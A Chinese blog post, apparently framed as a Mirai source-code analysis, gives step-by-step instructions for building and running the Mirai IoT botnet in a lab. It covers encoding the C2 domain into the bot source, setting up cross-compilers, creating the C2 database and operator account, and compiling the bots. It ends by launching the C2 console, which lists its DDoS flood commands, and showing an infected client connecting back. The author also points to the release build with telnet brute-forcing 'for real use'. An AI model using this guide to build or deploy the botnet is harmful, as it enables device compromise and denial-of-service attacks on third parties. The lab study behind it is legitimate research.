OneShell

I fight for a brighter tomorrow

0%

mirai源码分析:运行环境搭建

实验环境说明

实验环境所使用到的虚拟机都是Ubuntu 20.04 LTS,在设置cnc的数据库时需要对账号和密码进行相关的配置。局域网的路由器是OpenWrt,可以直接在路由器上配置DNS,将cnc的域名设置为mirai.cnc。

mirai-cnc:

  • IP:172.16.0.101
  • arch:x86/64
  • domain:mirai.cnc
  • sys:Ubuntu 20.04 LTS

mirai-client1:

  • IP:172.16.0.20
  • arch:x86/64
  • sys:Ubuntu 20.04 LTS

mirai-client2:

  • IP:172.16.0.21
  • arch:x86/64
  • sys:Ubuntu 20.04 LTS

局域网设置DNS解析

在实验的时候,如果有条件的可以使用公网IP+域名,没有条件的可以在局域网下面自行搭建一个DNS服务器,或者有些路由器上支持局域网内做域名劫持+解析进行配置。
我是在172.16.0.0/24局域网下使用刷了OpenWrt的斐讯路由器K2进行局域网下域名解析的,解析配置以及结果如下:
undifined
使用mirai-client1去ping cnc:

1
2
3
4
5
6
7
8
# utest @ mirai-client1 in ~ [2:47:52]
$ ping mirai.cnc
PING mirai.cnc (172.16.0.101) 56(84) bytes of data.
64 bytes from pdc-ubuntu.lan (172.16.0.101): icmp_seq=1 ttl=64 time=0.250 ms
64 bytes from pdc-ubuntu.lan (172.16.0.101): icmp_seq=2 ttl=64 time=0.556 ms
64 bytes from pdc-ubuntu.lan (172.16.0.101): icmp_seq=3 ttl=64 time=0.176 ms
64 bytes from pdc-ubuntu.lan (172.16.0.101): icmp_seq=4 ttl=64 time=0.133 ms
64 bytes from pdc-ubuntu.lan (172.16.0.101): icmp_seq=5 ttl=64 time=0.146 ms

使用mirai-client2去ping cnc:

1
2
3
4
5
6
7
8
# utest @ marai-client2 in ~ [2:50:22]
$ ping mirai.cnc
PING mirai.cnc (172.16.0.101) 56(84) bytes of data.
64 bytes from pdc-ubuntu.lan (172.16.0.101): icmp_seq=1 ttl=64 time=0.250 ms
64 bytes from pdc-ubuntu.lan (172.16.0.101): icmp_seq=2 ttl=64 time=0.245 ms
64 bytes from pdc-ubuntu.lan (172.16.0.101): icmp_seq=3 ttl=64 time=0.205 ms
64 bytes from pdc-ubuntu.lan (172.16.0.101): icmp_seq=4 ttl=64 time=0.320 ms
64 bytes from pdc-ubuntu.lan (172.16.0.101): icmp_seq=5 ttl=64 time=0.340 ms

至此,网络环境就算搭建好了。

mirai-cnc配置

编译mirai的任务我是放在mirai-cnc上,其使用到了C、GO两种语言,cnc使用到了数据库来保存控制账号、攻击历史等信息,因此需要安装必备的软件。

1
sudo apt-get install git gcc golang electric-fence mysql-server mysql-client

下载源码:

1
git clone https://github.com/jgamblin/Mirai-Source-Code

设置cnc回连加密

mirai bot中的cnc地址和扫描结果返回地址是硬编码到源码中的加密数据,因此需要先编译加密模块,然后通过加密模块得到加密后的地址,并写入到mirai bot源码中。
进入路径mirai/tools,使用gcc编译即可:

1
2
3
4
5
# utest @ mirai-cnc in ~/app/Mirai-Source-Code/mirai/tools on git:comments x [19:16:33]
$ gcc enc.c -o enc.out
# utest @ mirai-cnc in ~/app/Mirai-Source-Code/mirai/tools on git:comments x [19:16:43]
$ ./enc.out
Usage: ./enc.out <string | ip | uint32 | uint16 | uint8 | bool> <data>

计算加密后的cnc域名和扫描成功结果返回域名,我是将二者都设置为同一个地址mirai.cnc

1
2
3
4
# utest @ mirai-cnc in ~/app/Mirai-Source-Code/mirai/tools on git:comments x [19:16:49]
$ ./enc.out string mirai.cnc
XOR'ing 10 bytes of data...
\x4F\x4B\x50\x43\x4B\x0C\x41\x4C\x41\x22

将其写入到mirai木马的源码./mirai/bot/table.c中,如下:

1
2
3
4
5
6
7
8
9
void table_init(void)
{
add_entry(TABLE_CNC_DOMAIN, "\x4F\x4B\x50\x43\x4B\x0C\x41\x4C\x41\x22", 11); // mirai.cnc
add_entry(TABLE_CNC_PORT, "\x22\x35", 2); // 23

add_entry(TABLE_SCAN_CB_DOMAIN, "\x4F\x4B\x50\x43\x4B\x0C\x41\x4C\x41\x22", 11); // mirai.cnc
add_entry(TABLE_SCAN_CB_PORT, "\x99\xC7", 2); // 48101

add_entry(TABLE_EXEC_SUCCESS, "\x4E\x4B\x51\x56\x47\x4C\x4B\x4C\x45\x02\x56\x57\x4C\x12\x22", 15);

配置交叉编译

mirai木马通常是针对IoT设备的,因此需要先构建交叉编译环境,以编译不同架构的木马。mirai源码中有推荐使用该地址的脚本来安装交叉编译环境,我是将交叉编译器放置到了mirai的源码目录中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
mkdir cross-compile-bin
cd cross-compile-bin

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2

tar -jxf cross-compiler-armv4l.tar.bz2
tar -jxf cross-compiler-i586.tar.bz2
tar -jxf cross-compiler-m68k.tar.bz2
tar -jxf cross-compiler-mips.tar.bz2
tar -jxf cross-compiler-mipsel.tar.bz2
tar -jxf cross-compiler-powerpc.tar.bz2
tar -jxf cross-compiler-sh4.tar.bz2
tar -jxf cross-compiler-sparc.tar.bz2

rm *.tar.bz2
mv cross-compiler-armv4l armv4l
mv cross-compiler-i586 i586
mv cross-compiler-m68k m68k
mv cross-compiler-mips mips
mv cross-compiler-mipsel mipsel
mv cross-compiler-powerpc powerpc
mv cross-compiler-sh4 sh4
mv cross-compiler-sparc sparc

目录结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
# utest @ mirai-cnc in ~/app/Mirai-Source-Code/cross-compile-bin on git:comments x [22:08:42]
$ tree -L 1
.
├── armv4l
├── i586
├── m68k
├── mips
├── mipsel
├── powerpc
├── sh4
└── sparc

8 directories, 0 files

然后将交叉编译器所在的路径添加到shell配置文件中,我是使用的zsh,则~/.zshrc,bash则是~/.bashrc,配置完成后需要source一下配置文件:

1
2
3
4
5
6
7
8
9
10
export PATH=$PATH:/home/utest/app/Mirai-Source-Code/cross-compile-bin/armv4l/bin
export PATH=$PATH:/home/utest/app/Mirai-Source-Code/cross-compile-bin/armv6l/bin
export PATH=$PATH:/home/utest/app/Mirai-Source-Code/cross-compile-bin/i586/bin
export PATH=$PATH:/home/utest/app/Mirai-Source-Code/cross-compile-bin/m68k/bin
export PATH=$PATH:/home/utest/app/Mirai-Source-Code/cross-compile-bin/mips/bin
export PATH=$PATH:/home/utest/app/Mirai-Source-Code/cross-compile-bin/mipsel/bin
export PATH=$PATH:/home/utest/app/Mirai-Source-Code/cross-compile-bin/powerpc/bin
export PATH=$PATH:/home/utest/app/Mirai-Source-Code/cross-compile-bin/powerpc-440fp/bin
export PATH=$PATH:/home/utest/app/Mirai-Source-Code/cross-compile-bin/sh4/bin
export PATH=$PATH:/home/utest/app/Mirai-Source-Code/cross-compile-bin/sparc/bin

正式的编译工作还需要等数据库配置完毕后才能进行,因为cnc还需要连接到数据库。

数据库配置

mirai的作者是使用了一台单独的数据库服务器,我是将数据库服务运行在mirai.cnc上的,在实际场景中数据库可以运行在任意一台服务器上,只要保证能够被连接上。
在mirai源码中的scripts/db.sql中添加一行USE mirai如下,其作用是创建数据库mirai,创建表history,创建表users,创建表writelist

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
CREATE DATABASE mirai;
USE mirai;
CREATE TABLE `history` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`user_id` int(10) unsigned NOT NULL,
`time_sent` int(10) unsigned NOT NULL,
`duration` int(10) unsigned NOT NULL,
`command` text NOT NULL,
`max_bots` int(11) DEFAULT '-1',
PRIMARY KEY (`id`),
KEY `user_id` (`user_id`)
);

CREATE TABLE `users` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`username` varchar(32) NOT NULL,
`password` varchar(32) NOT NULL,
`duration_limit` int(10) unsigned DEFAULT NULL,
`cooldown` int(10) unsigned NOT NULL,
`wrc` int(10) unsigned DEFAULT NULL,
`last_paid` int(10) unsigned NOT NULL,
`max_bots` int(11) DEFAULT '-1',
`admin` int(10) unsigned DEFAULT '0',
`intvl` int(10) unsigned DEFAULT '30',
`api_key` text,
PRIMARY KEY (`id`),
KEY `username` (`username`)
);

CREATE TABLE `whitelist` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`prefix` varchar(16) DEFAULT NULL,
`netmask` tinyint(3) unsigned DEFAULT NULL,
PRIMARY KEY (`id`),
KEY `prefix` (`prefix`)
);

启动数据库,并执行上述的数据库脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
# utest @ mirai-cnc in ~/app/Mirai-Source-Code on git:comments x [22:24:04]
$ sudo mysql -u root
mysql> source ./scripts/db.sql
Query OK, 1 row affected (0.01 sec)

Database changed
Query OK, 0 rows affected, 5 warnings (0.06 sec)

Query OK, 0 rows affected, 8 warnings (0.01 sec)

Query OK, 0 rows affected, 2 warnings (0.01 sec)

mysql>

在刚才的mysql界面中添加一个用户,用来登陆cnc:

1
2
mysql> INSERT INTO users VALUES (NULL, 'mirai-user', 'mirai-password', 0, 0, 0, 0, -1, 1, 30, '');
Query OK, 1 row affected (0.01 sec)

修改数据库root账号的登录权限。在Ubuntu的mysql默认设置下不能使用root账号连接到服务器,因此需要稍微修改root账号的权限。在实际的运用场景中也可以新建另外的一个数据库账号,然后将数据库mirai的相关权限分配给该账号。

1
2
3
4
5
mysql> ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY '123123';
Query OK, 0 rows affected (0.00 sec)

mysql> FLUSH PRIVILEGES;
Query OK, 0 rows affected (0.00 sec)

此时数据库的配置就完成了,可以得到如下的配置,并将其写入到cnc代码mirai/cnc/main.go中:

  • 账号:root
  • 密码:123123
  • 地址:127.0.0.1
    1
    2
    3
    4
    const DatabaseAddr string   = "127.0.0.1"
    const DatabaseUser string = "root"
    const DatabasePass string = "123123"
    const DatabaseTable string = "mirai"

编译木马和cnc

进入目录mirai中,执行build.sh debug telnet,此时使用的是debug模式,编译出来的bot不支持Telnet弱口令扫描,在实际的运用场景中使用build.sh release telnet。报错arm6l-gcc not found无所谓,只是这个交叉编译器没找到而已,可忽略,如果实际场景中非要编译出该架构的bot,也可以去找到相关的编译器并添加到PATH中。

1
2
3
# utest @ mirai-cnc in ~/app/Mirai-Source-Code/mirai on git:comments x [22:35:17]
$ ./build.sh debug telnet
./build.sh: line 54: armv6l-gcc: command not found

编译出来的结果如下,在debug目录中,mirai.*是真正的木马bot,cnc是运行到cnc服务器上,scanListen是监听bot弱口令爆破成功的返回结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# utest @ mirai-cnc in ~/app/Mirai-Source-Code/mirai on git:comments x [22:56:37]
$ tree -L 1 debug
debug
├── badbot
├── cnc
├── enc
├── mirai.arm
├── mirai.dbg
├── mirai.mips
├── mirai.sh4
├── nogdb
└── scanListen

0 directories, 9 files

运行cnc,并上线木马

mirai.cnc上运行cnc,cnc会监听23端口,等待攻击者连接并进行验证,返回控制台:

1
2
3
4
# utest @ mirai-cnc in ~/app/Mirai-Source-Code/mirai on git:comments x [22:59:01] C:130
$ sudo ./debug/cnc
[sudo] password for utest:
Mysql DB opened

使用任意一台机器登陆到cnc:telnet mirai.cnc,输入之前配置的账号mirai-user、密码mirai-password,便可以进入控制台。登陆成功后,输入?可以查看到僵尸网络支持的攻击方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
я люблю куриные наггетсы
пользователь: mirai-user
пароль: **************

проверив счета... |
[+] DDOS | Succesfully hijacked connection
[+] DDOS | Masking connection from utmp+wtmp...
[+] DDOS | Hiding from netstat...
[+] DDOS | Removing all traces of LD_PRELOAD...
[+] DDOS | Wiping env libc.poison.so.1
[+] DDOS | Wiping env libc.poison.so.2
[+] DDOS | Wiping env libc.poison.so.3
[+] DDOS | Wiping env libc.poison.so.4
[+] DDOS | Setting up virtual terminal...
[!] Sharing access IS prohibited!
[!] Do NOT share your credentials!
Ready
mirai-user@botnet# ?
Available attack list
udp: UDP flood
ack: ACK flood
stomp: TCP stomp flood
greip: GRE IP flood
http: HTTP flood
vse: Valve source engine specific flood
dns: DNS resolver flood using the targets domain, input IP is ignored
syn: SYN flood
greeth: GRE Ethernet flood
udpplain: UDP flood with less options. optimized for higher PPS

将木马放到mirai-client1和mirai-client2上运行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# utest @ mirai-client1 in ~ [7:15:15]
$ ./mirai.dbg
DEBUG MODE YO
[main] We are the only process on this system!
listening tun0
[main] Attempting to connect to CNC
[killer] Trying to kill port 23
[killer] Finding and killing processes holding port 23
Failed to find inode for port 23
[killer] Failed to kill port 23
[killer] Bound to tcp/23 (telnet)
[resolv] Got response from select
[resolv] Found IP address: 650010ac
Resolved mirai.cnc to 1 IPv4 addresses
[main] Resolved domain
[main] Connected to CNC. Local address = 335548588
[main] Lost connection with CNC (errno = 9) 2
[main] Tearing down connection to CNC!
[main] Attempting to connect to CNC
[resolv] Got response from select
[resolv] Found IP address: 650010ac
Resolved mirai.cnc to 1 IPv4 addresses
[main] Resolved domain
[main] Connected to CNC. Local address = 335548588
[main] Lost connection with CNC (errno = 9) 2
[main] Tearing down connection to CNC!
[main] Attempting to connect to CNC
[resolv] Got response from select
[resolv] Found IP address: 650010ac
Resolved mirai.cnc to 1 IPv4 addresses
[main] Resolved domain
[main] Connected to CNC. Local address = 335548588
[killer] Detected we are running out of `/home/utest/mirai.dbg`
[killer] Memory scanning processes
[table] Tried to access table.11 but it is locked
Got SIGSEGV at address: 0x0

此时就可以在登陆cnc的终端上看到连接的bot数量:
undifined

至此,mirai的环境搭建基本完成。